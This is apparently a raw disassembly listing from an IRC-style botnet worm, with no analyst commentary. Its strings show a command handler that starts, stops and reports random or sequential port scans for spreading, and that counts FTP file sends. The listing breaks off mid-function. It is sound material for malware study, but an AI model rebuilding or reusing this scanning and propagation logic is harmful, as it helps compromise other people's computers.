sub_4224A0 proc near ; CODE XREF: sub_401523j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4224A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4224C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224E0 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4224E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422510 proc near ; CODE XREF: sub_401B90j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019BA
mov ecx, eax
call sub_4018F7
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4010EB
push esi
mov ebx, eax
call sub_40110E
mov eax, [eax]
push eax
call sub_4010EB
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40108C
add esp, 1Ch
mov ecx, edi
push eax
call sub_401E7E
push esi
mov ecx, edi
call sub_4021DA
sub_422510 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4225D0 proc near ; CODE XREF: sub_4010EBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4225D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4225F0 proc near ; CODE XREF: sub_4020DBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_4225F0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422620 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422620 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422640 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401EF1
add esp, 8
retn 8
sub_422640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422670 proc near ; CODE XREF: sub_4018FCj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_422670 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422690 proc near ; CODE XREF: sub_4018F7j
mov eax, [ecx]
retn
sub_422690 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226B0 proc near ; CODE XREF: sub_4019BAj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401839
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4226B0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4226E0 proc near ; CODE XREF: sub_40163Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401A8C
pop ecx
retn 4
sub_4226E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422700 proc near ; CODE XREF: sub_401E7Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FB9
pop ecx
retn 4
sub_422700 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422720 proc near ; CODE XREF: sub_401A3Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_42273B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_42273B: ; CODE XREF: sub_422720+11j
retn
sub_422720 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422750 proc near ; CODE XREF: sub_40203Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_422750
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 19h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422791
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_401681
loc_422791: ; CODE XREF: sub_422750+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_422750 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4227E0 proc near ; CODE XREF: sub_401EF1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4227E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+10h+arg_0]
push eax
push 15h
call sub_4011CC
add esp, 8
mov [esp+10h+var_10], eax
test eax, eax
mov [esp+10h+var_4], 0
jz short loc_422821
mov ecx, [esp+10h+arg_4]
push ecx
mov ecx, eax
call sub_4014D3
loc_422821: ; CODE XREF: sub_4227E0+33j
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
sub_4227E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422850 proc near ; CODE XREF: sub_401A8Cj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
call sub_4019C9
retn
sub_422850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422870 proc near ; CODE XREF: sub_401FB9j
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push 0
mov eax, [ecx]
call dword ptr [eax]
retn
sub_422870 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422890 proc near ; CODE XREF: sub_401681j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
call sub_4014D3
mov eax, [edi+15h]
pop edi
mov [esi+15h], eax
mov eax, esi
pop esi
retn 4
sub_422890 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_4019C9j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A82
test [esp+4+arg_0], 1
jz short loc_4228D8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4228D8: ; CODE XREF: sub_4228C0+Dj
mov eax, esi
pop esi
retn 4
sub_4228C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4228F0 proc near ; CODE XREF: sub_401AF5j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4228F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 9
push 3
push 4Fh
push 16h
push 4
lea eax, [esp+60h+var_3C]
push 1
mov esi, ecx
push eax
mov dword_4D7F8B, offset aAsn ; "asn"
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+8D008h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4228F0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 14h
push 12h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea edx, [esp+2Ch]
push 1
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+8D036h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 0Eh
push 1
push 3
lea ecx, [esp+2Ch]
push 13h
push ecx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+8D064h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 16h
push 4
lea eax, [esp+2Ch]
push 1
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8D092h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 14h
push 1
push 14h
push 13h
push 4Fh
push 10h
push 14h
lea edx, [esp+44h]
push 6
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
add esi, 8D0C0h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422B40 proc near ; CODE XREF: sub_40138Ej
var_78D = byte ptr -78Dh
var_78C = dword ptr -78Ch
var_788 = byte ptr -788h
var_780 = dword ptr -780h
var_770 = byte ptr -770h
var_760 = byte ptr -760h
var_6E0 = byte ptr -6E0h
var_660 = dword ptr -660h
var_65C = dword ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_644 = dword ptr -644h
var_640 = dword ptr -640h
var_638 = dword ptr -638h
var_634 = dword ptr -634h
var_630 = dword ptr -630h
var_624 = byte ptr -624h
var_60C = byte ptr -60Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_422B40
push eax
mov large fs:0, esp
sub esp, 784h
push ebx
push ebp
push esi
mov esi, [esp+79Ch+arg_0]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8D008h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422C0A
push 3
call sub_40148D
add esp, 4
test eax, eax
jle short loc_422BDD
push 3
call sub_401DA2
mov eax, dword_50DB50[eax*8]
add esp, 4
push eax
nop
call near ptr 71AB3F41h
push eax
push offset aScanCipS ; "scan: cip (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422BDD: ; CODE XREF: sub_422B40+52j
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push offset aScanNotStarted ; "scan: not started"
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422C0A: ; CODE XREF: sub_422B40+40j
lea ecx, [ebp+8D0C0h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_422CB0
mov edi, dword_4D8370
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov ebx, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
cmp edi, ebx
jl loc_4232BD
mov edx, dword_44964F
push edi
push edx
push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_422CB0: ; CODE XREF: sub_422B40+DFj
lea ecx, [ebp+8D064h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_422D30
push eax
push 3
call sub_401DA7
add esp, 8
test eax, eax
jle short loc_422D05
push eax
push offset aScanStoppedDTh ; "scan: stopped (%d threads)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D05: ; CODE XREF: sub_422B40+194j
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aScanCouldnTSto ; "scan: couldn't stop"
push ecx
push edx
mov ecx, offset byte_4D8075
call sub_401118
jmp loc_422F39
; ---------------------------------------------------------------------------
loc_422D30: ; CODE XREF: sub_422B40+185j
lea ecx, [ebp+8D036h]
call sub_4014DD
push eax
mov ecx, edi
call sub_4012EE
mov edi, dword_511B14
test eax, eax
jnz loc_422DDE
push 3
call sub_40148D
add esp, 4
mov ebx, eax
lea eax, [esp+7A0h+var_788]
mov ecx, esi
push offset asc_444600 ; " "
push 2
push eax
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 1
call sub_4017EE
push eax
call edi ; atoi
add eax, ebx
add esp, 4
cmp eax, 1F4h
lea ecx, [esp+7A0h+var_788]
setnle [esp+7A0h+var_78D]
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov al, [esp+7A0h+var_78D]
test al, al
jz loc_422F56
push ebx
push offset aScanTooManyThr ; "scan: too many threads (%s)"
lea ecx, [esi+2Ah]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_422DDE: ; CODE XREF: sub_422B40+20Bj
lea ecx, [ebp+8D092h]
call sub_4014DD
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_422F39
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_624]
push 1
push eax
mov ecx, esi
xor ebx, ebx
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 0Ah
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_624]
mov edi, eax
mov [esp+7A0h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, dword_445418
mov [esp+7A0h+var_78D], bl
test eax, eax
jz short loc_422E69
mov eax, offset dword_445418
loc_422E55: ; CODE XREF: sub_422B40+327j
cmp [eax+8], edi
jb short loc_422E5F
mov [esp+7A0h+var_78D], 1
loc_422E5F: ; CODE XREF: sub_422B40+318j
mov ecx, [eax+3Ch]
add eax, 3Ch
test ecx, ecx
jnz short loc_422E55
loc_422E69: ; CODE XREF: sub_422B40+30Ej
mov ebp, off_511C00
lea ecx, [esp+7A0h+var_60C]
push offset aScanStats ; "scan: stats:"
push ecx
call ebp ; sub_5F76F7
mov eax, dword_445418
add esp, 8
test eax, eax
jz short loc_422ECF
mov edi, offset dword_445420
loc_422E8F: ; CODE XREF: sub_422B40+38Dj
mov eax, [edi]
lea edx, [edi-26h]
add ebx, eax
push eax
push edx
lea eax, [esp+7A8h+var_40C]
push offset aSD ; " %s: %d,"
push eax
call ebp ; sub_5F76F7
lea ecx, [esp+7B0h+var_40C]
push 200h
lea edx, [esp+7B4h+var_60C]
push ecx
push edx
nop
call near ptr 77C47920h
mov eax, [edi+34h]
add edi, 3Ch
add esp, 1Ch
test eax, eax
jnz short loc_422E8F
loc_422ECF: ; CODE XREF: sub_422B40+348j
push ebx
lea eax, [esp+7A4h+var_40C]
push offset aTotalD ; " total: %d"
push eax
call ebp ; sub_5F76F7
lea ecx, [esp+7ACh+var_40C]
push 200h
lea edx, [esp+7B0h+var_60C]
push ecx
push edx
call near ptr 77C47920h
nop
mov al, [esp+7B8h+var_78D]
add esp, 18h
test al, al
jz short loc_422F29
xor eax, eax
lea ecx, [esp+7A0h+var_60C]
mov al, [esi+94h]
push eax
push ecx
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push 0
call sub_40152D
add esp, 10h
loc_422F29: ; CODE XREF: sub_422B40+3C3j
lea edx, [esp+7A0h+var_60C]
push edx
call sub_4010D2
add esp, 4
loc_422F39: ; CODE XREF: sub_422B40+1C0j
; sub_422B40+1EBj ...
xor al, al
loc_422F3B: ; CODE XREF: sub_422B40+98j
; sub_422B40+C5j ...
mov ecx, [esp+7A0h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 790h
retn 4
; ---------------------------------------------------------------------------
loc_422F56: ; CODE XREF: sub_422B40+26Ej
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 2
call sub_4017EE
push eax
call edi ; atoi
or ebx, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_65C], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, 3
mov ecx, eax
mov [esp+7A0h+var_4], ebp
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_644], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push ebp
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_658], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov eax, [esp+7A0h+var_658]
cmp eax, ebp
jnb short loc_423033
mov [esp+7A0h+var_658], ebp
jmp short loc_423043
; ---------------------------------------------------------------------------
loc_423033: ; CODE XREF: sub_422B40+4E8j
cmp eax, 3Ch
jbe short loc_423043
mov [esp+7A0h+var_658], 3Ch
loc_423043: ; CODE XREF: sub_422B40+4F1j
; sub_422B40+4F6j
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 5
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_654], eax
mov [esp+7A0h+var_4], ebx
call sub_401226
mov ecx, [esp+7A0h+var_654]
mov eax, 960h
cmp ecx, eax
jbe short loc_42309C
mov [esp+7A0h+var_654], eax
loc_42309C: ; CODE XREF: sub_422B40+553j
mov eax, dword_445418
mov [esp+7A0h+var_640], ebx
test eax, eax
mov [esp+7A0h+var_78C], 0
jz loc_42316C
mov ebp, offset dword_445418
jmp short loc_4230C2
; ---------------------------------------------------------------------------
loc_4230BF: ; CODE XREF: sub_422B40+602j
or ebx, 0FFFFFFFFh
loc_4230C2: ; CODE XREF: sub_422B40+57Dj
push offset asc_444600 ; " "
lea ecx, [esp+7A4h+var_788]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 6
call sub_4017EE
mov edi, eax
lea ecx, [ebp-28h]
loc_4230EC: ; CODE XREF: sub_422B40+5CAj
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_423110
test al, al
jz short loc_42310C
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_423110
add ecx, 2
add edi, 2
test al, al
jnz short loc_4230EC
loc_42310C: ; CODE XREF: sub_422B40+5B6j
xor eax, eax
jmp short loc_423114
; ---------------------------------------------------------------------------
loc_423110: ; CODE XREF: sub_422B40+5B2j
; sub_422B40+5C0j
sbb eax, eax
sbb eax, ebx
loc_423114: ; CODE XREF: sub_422B40+5CEj
test eax, eax
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz short loc_42314A
mov edx, [esp+7A0h+var_78C]
mov eax, [ebp+3Ch]
add ebp, 3Ch
inc edx
test eax, eax
mov [esp+7A0h+var_78C], edx
jnz loc_4230BF
jmp short loc_423169
; ---------------------------------------------------------------------------
loc_42314A: ; CODE XREF: sub_422B40+5EFj
mov ecx, [esp+7A0h+var_78C]
mov [esp+7A0h+var_640], ecx
lea eax, [ecx+ecx*2]
lea eax, [eax+eax*4]
mov edx, dword_445418[eax*4]
mov [esp+7A0h+var_65C], edx
loc_423169: ; CODE XREF: sub_422B40+608j
or ebx, 0FFFFFFFFh
loc_42316C: ; CODE XREF: sub_422B40+572j
mov eax, [esp+7A0h+var_65C]
test eax, eax
jnz short loc_42318A
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanInvalidPor ; "scan: invalid port"
jmp loc_4232A5
; ---------------------------------------------------------------------------
loc_42318A: ; CODE XREF: sub_422B40+635j
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push offset dword_4447F8
mov ecx, eax
mov [esp+7A4h+var_4], 7
call sub_4013ED
lea ecx, [esp+7A0h+var_788]
mov edi, eax
mov [esp+7A0h+var_4], ebx
call sub_401226
test edi, edi
jz loc_423267
push offset asc_444600 ; " "
lea eax, [esp+7A4h+var_788]
push 5
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+7A0h+var_4], 8
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_770]
push 10h
push ecx
call near ptr 77C3FA76h
nop
add esp, 0Ch
lea ecx, [esp+7A0h+var_788]
mov [esp+7A0h+var_4], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+7A4h+var_788]
push 5
push edx
mov ecx, esi
call sub_4016B8
push 78h
mov ecx, eax
mov [esp+7A4h+var_4], 9
call sub_4017EE
push eax
call near ptr 77C47660h
nop
add esp, 8
lea ecx, [esp+7A0h+var_788]
neg eax
sbb eax, eax
mov [esp+7A0h+var_4], ebx
neg eax
mov [esp+7A0h+var_630], eax
call sub_401226
jmp loc_423396
; ---------------------------------------------------------------------------
loc_423267: ; CODE XREF: sub_422B40+688j
push offset dword_4455E4
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset off_4455E0
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
push offset aB ; " -b"
mov ecx, esi
call sub_4013ED
test eax, eax
jnz short loc_4232C4
lea ecx, [esi+2Ah]
call sub_4014DD
push eax
push offset aScanNoIpSpecif ; "scan: no ip specified"
loc_4232A5: ; CODE XREF: sub_422B40+645j
mov al, [esi+94h]
mov cl, [esi+93h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
loc_4232BD: ; CODE XREF: sub_422B40+132j
mov al, 1
jmp loc_422F3B
; ---------------------------------------------------------------------------
loc_4232C4: ; CODE XREF: sub_422B40+735j
; sub_422B40+745j ...
mov ecx, dword_4D808D
lea edx, [esp+7A0h+var_78C]
lea eax, [esp+7A0h+var_788]
push edx
push eax
push ecx
mov [esp+7ACh+var_78C], 10h
nop
call near ptr 71AB951Eh
push offset off_4455E0
mov ecx, esi
call sub_4013ED
mov edx, eax
mov eax, [esp+79Ch+var_780]
neg edx
sbb edx, edx
push 10h
and edx, 0FFFF0100h
add edx, 0FFFFh
and eax, edx
push eax
mov [esp+7A4h+var_780], eax
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+7A8h+var_770]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov ecx, esi
push offset dword_4455E4
call sub_4013ED
test eax, eax
jz short loc_42338B
push offset off_4455E0
mov ecx, esi
call sub_4013ED
mov ebp, dword_511A9C
mov edi, eax
neg edi
sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp ; strrchr
add esp, 8
xor bl, bl
test edi, edi
jle short loc_42337E
loc_423362: ; CODE XREF: sub_422B40+83Cj
test eax, eax
jz short loc_42337E
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp ; strrchr
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_423362
loc_42337E: ; CODE XREF: sub_422B40+820j
; sub_422B40+824j
mov [esp+7A0h+var_630], 1
jmp short loc_423396
; ---------------------------------------------------------------------------
loc_42338B: ; CODE XREF: sub_422B40+7F1j
mov [esp+7A0h+var_630], 0
loc_423396: ; CODE XREF: sub_422B40+722j
; sub_422B40+849j
mov edx, dword_4D808D
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_4017EE
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
nop
call near ptr 77C3FA76h
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_4233F8
mov eax, offset aSequential ; "sequential"
loc_4233F8: ; CODE XREF: sub_422B40+8B1j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:4453FAh[eax*4]
push ecx
push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401BEA
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_402284
mov al, 1
jmp loc_422F3B
sub_422B40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4236F0 proc near ; CODE XREF: sub_40114Fj
arg_A6 = dword ptr 0AAh
arg_AE = dword ptr 0B2h
mov ecx, [esp+arg_AE]
push ebx
test ecx, ecx
push offset byte_448F30
mov ecx, offset dword_449958
setnz bl
call sub_4014DD
push eax
push ebx
push ebx
push offset byte_4D8075
call sub_401857
mov eax, [esp+18h+arg_A6]
add esp, 14h
lea eax, [eax+eax*2]
pop ebx
lea eax, [eax+eax*4]
mov ecx, dword_445420[eax*4]
inc ecx
mov dword_445420[eax*4], ecx
mov al, 1
retn
sub_4236F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423760 proc near ; CODE XREF: sub_401E10j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
